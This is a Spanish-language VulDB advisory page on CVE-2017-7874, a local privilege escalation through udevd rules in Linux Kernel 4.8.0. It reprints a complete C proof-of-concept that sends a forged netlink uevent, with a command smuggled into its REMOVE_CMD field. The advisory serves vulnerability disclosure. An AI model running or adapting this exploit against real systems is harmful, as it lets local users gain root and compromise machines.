Linux Kernel 4.8.0 udevd 50-udev-default.rules escalada de privilegios

CVSS Puntuación meta temporalPrecio actual del exploit (≈)Puntuación de interés CTI
5.0$0-$5k0.00

Resumeninformación

Se ha detectado una vulnerabilidad clasificada como problemática en Linux Kernel 4.8.0. Resulta afectada una función desconocida dentro de la biblioteca /lib/udev/rules.d/50-udev-default.rules dentro del componente udevd. Por la manipulación de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esta vulnerabilidad está identificada como CVE-2017-7874. El ataque requiere un enfoque local. También se encuentra disponible un exploit.

Detallesinformación

Una vulnerabilidad clasificada como problemática fue encontrada en Linux Kernel 4.8.0 (Operating System). Una función desconocida en la biblioteca /lib/udev/rules.d/50-udev-default.rules del componente udevd es afectada por esta vulnerabilidad. Mediante la manipulación de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esto tiene repercusión sobre la confidencialidad, integridad y disponibilidad.

El error fue descubierto el 2017-04-15. La vulnerabilidad fue publicada el 2017-04-15 (Website) (confirmado). El advisory puede ser descargado de exploit-db.com. La vulnerabilidad es identificada como CVE-2017-7874. El ataque sólo se debe hacer local. Para explotarla se requiere una autentificación. Los detalles técnicos asi como un exploit público son conocidos.

Un exploit ha sido desarrollado por Nassim Asrir en ANSI C y publicado inmediatamente después del anuncio. El exploit puede ser descargado de exploit-db.com. Fue declarado como prueba de concepto. El código utilizado por el exploit es:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
 
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
 
int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;
 
  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;
 
  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;
 
  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));
 
  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;
 
  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);
 
  sendmsg(sock, &msg, 0);
 
  close(sock);
 
  return 0;
}

No hay información respecto a posibles contramedidas. Se sugiere sustituir el producto con un equivalente.

La vulnerabilidad también está documentado en las bases de datos Exploit-DB (41886) y SecurityFocus (BID 97679†). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productoinformación

Escribe

Proveedor

Nombre

Versión

Licencia

Sitio web

CPE 2.3información

CPE 2.2información

CVSSv4información

VulDB Vector: 🔍
VulDB Confiabilidad: 🔍

CVSSv3información

VulDB Puntuación meta base: 5.3
VulDB Puntuación meta temporal: 5.0

VulDB Puntuación base: 5.3
VulDB Puntuación temporal: 5.0
VulDB Vector: 🔍
VulDB Confiabilidad: 🔍

CVSSv2información

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplejidadAutenticaciónConfidencialidadIntegridadDisponibilidad
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear

VulDB Puntuación base: 🔍
VulDB Puntuación temporal: 🔍
VulDB Confiabilidad: 🔍

Explotacióninformación

Clase: Escalada de privilegios
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Físico: En parte
Local: Sí
Remoto: No

Disponibilidad: 🔍
Acceso: Público
Estado: Prueba de concepto
Autor: Nassim Asrir
Lenguaje de programación: 🔍
Descargar: 🔍
Predicción de precios: 🔍
Estimación del precio actual: 🔍

0-DayDesbloquearDesbloquearDesbloquearDesbloquear
HoyDesbloquearDesbloquearDesbloquearDesbloquear

Exploit-DB: 🔍

Inteligencia de amenazasinformación

Interés: 🔍
Actores activos: 🔍
Grupos APT activos: 🔍

Contramedidasinformación

Recomendación: no contramedida conocida
Estado: 🔍

Hora de 0 días: 🔍
Tiempo de retraso de explotación: 🔍

Línea de tiempoinformación

2017-04-14 🔍
2017-04-15 +1 días 🔍
2017-04-15 +0 días 🔍
2017-04-15 +0 días 🔍
2017-04-15 +0 días 🔍
2017-04-15 +0 días 🔍
2017-04-16 +1 días 🔍
2024-12-27 +2812 días 🔍

Fuentesinformación

Proveedor: kernel.org

Aviso: 142152
Estado: Confirmado

CVE: CVE-2017-7874 (🔍)
GCVE (CVE): GCVE-0-2017-7874
GCVE (VulDB): GCVE-100-99901
SecurityFocus: 97679 - Linux Kernel CVE-2017-7874 Local Privilege Escalation Vulnerability
OSVDB: - Linux Kernel udev command execution

scip Labs: https://www.scip.ch/en/?labs.20161013

Artículoinformación

Fecha de creación: 2017-04-16 10:46
Actualizado: 2024-12-27 09:32
Cambios: 2017-04-16 10:46 (52), 2020-09-17 18:46 (5), 2022-11-29 14:32 (2), 2024-12-27 09:32 (14)
Completo: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discusión

Sin comentarios aún. Idiomas: es + pt + en.

Por favor, inicie sesión para comentar.

Want to stay up to date on a daily basis?

Enable the mail alert feature now!